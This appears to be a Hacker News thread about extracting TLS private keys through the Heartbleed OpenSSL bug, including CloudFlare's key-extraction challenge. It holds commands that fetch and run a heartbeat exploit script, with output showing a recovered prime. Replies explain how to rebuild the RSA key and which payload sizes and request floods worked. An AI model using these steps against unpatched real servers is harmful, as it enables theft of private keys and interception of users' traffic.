ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; sudo /etc/init.d/nginx restart curl -O https://gist.githubusercontent.com/benmmurphy/12999c91a4d328b749e3/raw/9bcd402e3d9beec740a61a1585e24c36dea80859/heartbeat.py chmod u+x heartbeat.py ubuntu@ip-10-185-20-243:~$ ./heartbeat.py localhost /etc/ssl/certs/ssl-cert-snakeoil.pem Using modulus: C30FB990C6C1EE4EE4524A724BDF10DCDC735C9BCCED84B38796584DCE9F7CB1027CCF63A0E604882AE9B8639CD0955C207BE641943AE38AC4DAE63ECCE7E79ACE7EB9EB5D92F55761924C35A00EB5AE4759CB6DC938DBD48ED34685BC32B3193FEF55F081BB2BFC33494F26E556803FD2506F94301DFD688A63F9F3572C540F3F5E7679D5454E532503636ABFCB95AC5674D47C2B23C4418E04BE1D36AECF6BFEA81FC38FCA3E72A3EACD0BFD4E07FDC3BFA8E70E002ECA68FE8E0621F56081D90A3724A1BED6B5E3BDCDCC02B4EDEAFD0EC4D60C7DEC95BF7756CD82442915EE1AB6738F38B3BA932C8D27B34E94205C84AB64ACC34487ED2FF3804332AB63 Using key size: 128 Scanning localhost on port 443 Connecting... Sending Client Hello... Waiting for Server Hello... Got length: 66 ... received message: type = 22, ver = 0302, length = 66 Message Type is 0x02 Got length: 750 ... received message: type = 22, ver = 0302, length = 750 Message Type is 0x0B Got length: 331 ... received message: type = 22, ver = 0302, length = 331 Message Type is 0x0C Got length: 4 ... received message: type = 22, ver = 0302, length = 4 Message Type is 0x0E Server sent server hello done Server TLS version was 1.2 Sending heartbeat request... Got length: 16384 ... received message: type = 24, ver = 0302, length = 65551 Received heartbeat response: Got result: 154948185083822336433702373602285084550034029190596792283600073258494868382158852796844241764405565518400264295279959791461705192749666707538790201985451035410116800023040704455951541838840288378897688943017357577574672157589664822948047455855119173651635078033464041188274590174256703712210173285385390714209 found prime: 0xdca74e63a186d60a9de3c8211e21a5b165c6d86d285c1d6eece2ad7a2505890ebae513e3013c3602f148e2112eaa99edd8ff5922494c4db47156727f93ab0f35a298553a82dfbd91e5e8aff2e969f31db31263bce9a89d95b64ff38ff5b86d47fa2e70aac5198d2ea967eb952f48b7264e824bd03b1c955294fb9caeed02ed61L
you can check the prime by doing:
ubuntu@ip-10-185-20-243:~$ sudo openssl rsa -in /etc/ssl/private/ssl-cert-snakeoil.key -text .. prime1: 00:e2:4e:eb:f7:88:3a:d4:ad:61:2c:ef:6f:b2:a6: 3b:dd:c4:99:89:f1:b4:6e:6b:ce:76:51:c3:23:f7: 7a:37:69:f9:6c:eb:65:3d:cd:6a:f7:c9:97:96:b0: f6:39:72:8a:ca:f7:45:3c:ff:25:b0:dd:a9:c1:08: c3:aa:53:41:22:20:df:74:cb:1d:ad:ce:67:1d:11: 00:15:33:65:1f:d4:b9:a8:2b:27:50:da:7c:a7:e1: 88:d1:2c:d8:d9:32:07:ba:23:e1:40:fa:fa:94:46: 7f:9b:35:a1:d2:e4:91:86:f6:f3:79:2f:53:fd:95: 4d:99:56:b3:c0:be:97:6b:43 prime2: 00:dc:a7:4e:63:a1:86:d6:0a:9d:e3:c8:21:1e:21: a5:b1:65:c6:d8:6d:28:5c:1d:6e:ec:e2:ad:7a:25: 05:89:0e:ba:e5:13:e3:01:3c:36:02:f1:48:e2:11: 2e:aa:99:ed:d8:ff:59:22:49:4c:4d:b4:71:56:72: 7f:93:ab:0f:35:a2:98:55:3a:82:df:bd:91:e5:e8: af:f2:e9:69:f3:1d:b3:12:63:bc:e9:a8:9d:95:b6: 4f:f3:8f:f5:b8:6d:47:fa:2e:70:aa:c5:19:8d:2e: a9:67:eb:95:2f:48:b7:26:4e:82:4b:d0:3b:1c:95: 52:94:fb:9c:ae:ed:02:ed:61 ..
so the exploit is the most stupid one possible. i took the POC code and changed it to read all 64k. The version i had was reading only 14kb from the server. Then just check all the 128 byte strings to see if they divide the modulus evenly.

Wow, I just tested this on Debian and you're right - the simplest thing really does work. Kind of makes me wish I'd tried a little harder at CloudFlare's challenge; I had something pointed at their server and doing this early on, but shut it down after a couple of hours because it was using lots of CPU and not getting very far.
Edit: My code's tested too - the primes it gives me are exactly the same as the values in the private key
Edit 2: Doesn't even have to be the first request after restarting, I fired off a few hundred simple test requests first and it still worked. It's likely that any lightly-loaded nginx install on Debian was wide open.

i suspect getting the key on cloudflare is much harder :) it will be interesting to find out how they did it.

Well, the heavy load on CloudFlare's test server is probably making life harder by using up lots of RAM and filling it with uninteresting garbage, if nothing else. I'd be curious how a server with the same configuration but very light load fared.

with some slight modifications i was able to extract the private key from cloudflare. i'm not sure if the modifications were necessary or not....

Interesting. But from got the prime1 and prime2, from there how do you obtain the private certificate?

You now know the two primes (p,q) which multiply together to make n (the public key modulus). We also know e (the public key exponent).
d (the private key) is:-
d = e^-1 mod ((p-1)(q-1))
To work this modular inverse out you use the extended Euclidean algorithm.
This is why you need to know the factorisation of n=(p*q). You can't compute d (the private key) with just the composite n.

You don't need to use p or q. See http://vnhacker.blogspot.com/2014/04/idea-to-solve-cloudflar...

apparently these temp values are scrubbed by openssl. i would definitely verify because there could be some implementation bug that stops their scrubbing. so what nginx does is:
handle_request: do_decryption scrub_temporaries write_to_client handle_another_request: ..
because nginx is single threaded there shouldn't be any requests handled between do_decryption and scrub_temporaries. but this is a problem on other servers.
static int RSA_eay_private_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { ... if (ctx != NULL) { BN_CTX_end(ctx); BN_CTX_free(ctx); } if (buf != NULL) { OPENSSL_cleanse(buf,num); OPENSSL_free(buf); } return(r); void BN_CTX_free(BN_CTX *ctx) { if (ctx == NULL) return; #ifdef BN_CTX_DEBUG { BN_POOL_ITEM *pool = ctx->pool.head; fprintf(stderr,"BN_CTX_free, stack-size=%d, pool-bignums=%d\n", ctx->stack.size, ctx->pool.size); fprintf(stderr,"dmaxs: "); while(pool) { unsigned loop = 0; while(loop < BN_CTX_POOL_SIZE) fprintf(stderr,"%02x ", pool->vals[loop++].dmax); pool = pool->next; } fprintf(stderr,"\n"); } #endif BN_STACK_finish(&ctx->stack); BN_POOL_finish(&ctx->pool); OPENSSL_free(ctx); } static void BN_POOL_finish(BN_POOL *p) { while(p->head) { unsigned int loop = 0; BIGNUM *bn = p->head->vals; while(loop++ < BN_CTX_POOL_SIZE) { if(bn->d) BN_clear_free(bn); bn++; } p->current = p->head->next; OPENSSL_free(p->head); p->head = p->current; } } void BN_clear_free(BIGNUM *a) { int i; if (a == NULL) return; bn_check_top(a); if (a->d != NULL) { OPENSSL_cleanse(a->d,a->dmax*sizeof(a->d[0])); if (!(BN_get_flags(a,BN_FLG_STATIC_DATA))) OPENSSL_free(a->d); } i=BN_get_flags(a,BN_FLG_MALLOCED); OPENSSL_cleanse(a,sizeof(BIGNUM)); if (i) OPENSSL_free(a); } void OPENSSL_cleanse(void *ptr, size_t len) { unsigned char *p = ptr; size_t loop = len, ctr = cleanse_ctr; while(loop--) { *(p++) = (unsigned char)ctr; ctr += (17 + ((size_t)p & 0xF)); } p=memchr(ptr, (unsigned char)ctr, len); if(p) ctr += (63 + (size_t)p); cleanse_ctr = (unsigned char)ctr; }

Yeah, you're correct. So it seems that you don't need math to solve this challenge, but maybe luck and patience.

Very interesting. So, just with the private key given p/q and the modulus is really possible to extract the private key? I saw the RSATool (https://github.com/ius/rsatool), but it needs an "n" and "d" parameter. So, how to use the output from this modified hertbeet exploit with RSATool since it only prints "Using Modulus", "Got result:" and "Found Prime" and all are much larger in comparison with parameters for RSATOOL. Thanks.

If you have modulus n and prime p, you can get the other prime q by dividing n by p. This gives you both primes, which is the input to RSA key generation (along with the public exponent which is usually 65537, but can be extracted from the X.509 certificate along with the modulus).

i think this took me as long as coding the recovery tool :(
https://github.com/jjarmoc/csaw2012_cert_app/blob/master/lib...
https://github.com/ius/rsatool

I wrote a tool some time ago. It's 10 lines of Python using pyasn1.

Yah, that's the trickiest part. I was pretty ecstatic when I found a real world use case for toy code that I spent way too much time on :)

I also got the Cloudflare private key with the same technique you describe, tried both incrementally increasing the payload size and choosing it at random (between 3 and 18427 bytes - anything higher than that triggered an alert). The incremental increase worked better: there was a range in the mid-hundreds that continually emitted one of the primes.
Other possible contributing factors: I was hammering the server with empty https requests hoping it would leave traces of calculation about, and was running a few dozen of the heartbeat keysearch in parallel. I don't know if either of these helped or not.
Who knows, maybe some anonymous benefactor carefully extracted the primes out of a more opaque data structure and uploaded them neatly back to the heap for us all to find!

I used the random payload size between 0 and 10,000. But sounds like you found a nice way to get the keys :) I looked at the openssl source code and I don't think it is possible in nginx for it to leak the intermediate results into memory. I suspect we are leaking one of the only two primes stored in memory. Another HN poster was able to break apache MPM and I strongly suspect they were leaking intermediate values: https://twitter.com/makomk/status/454761049955127296
i also thought an earlier discoverer might have been trolling us :)

I was unable to replicate. Can someone give more details, maybe the heartbleed script updated and some instructions to replicate it? Thanks.

Why did anyone need this challenge in the first place? Couldn't someone have justed ASKED a good exploit developer what they would do and what the impact is? No, I guess we're all up for wasting people's time and creating potential false negatives.

Because good idea in theory != good idea in practice. Showing that this actually works in practice (albeit on an isolated incident) shows that the bug is dangerous in practice, not just theory. Look at all the research in timing attacks etc on TLS, some of which are theoretically feasible, until you consider real world possibilities of remote servers, such as "Their ISP is fiddling with routing so I have varying latency", or "They're using different server configurations and I don't get connected to the same one every time". This has been PROVEN to steal someones private key, which is worse than giving someone the keys to your house, It's like giving them a blank passport with your name on it, letting them put their photo on it, and with that taking your car keys and hosue keys, and everything that identifies you.
Luckily, the fix is easy, just upgrade, revoke, and force password changes for everyone.

Yeah, I bet that fix is real easy.

Hubris is ugly.

IMO, CloudFlare is lame. Kudos to this guy for reminding me just how much so.

Reply on news.ycombinator.com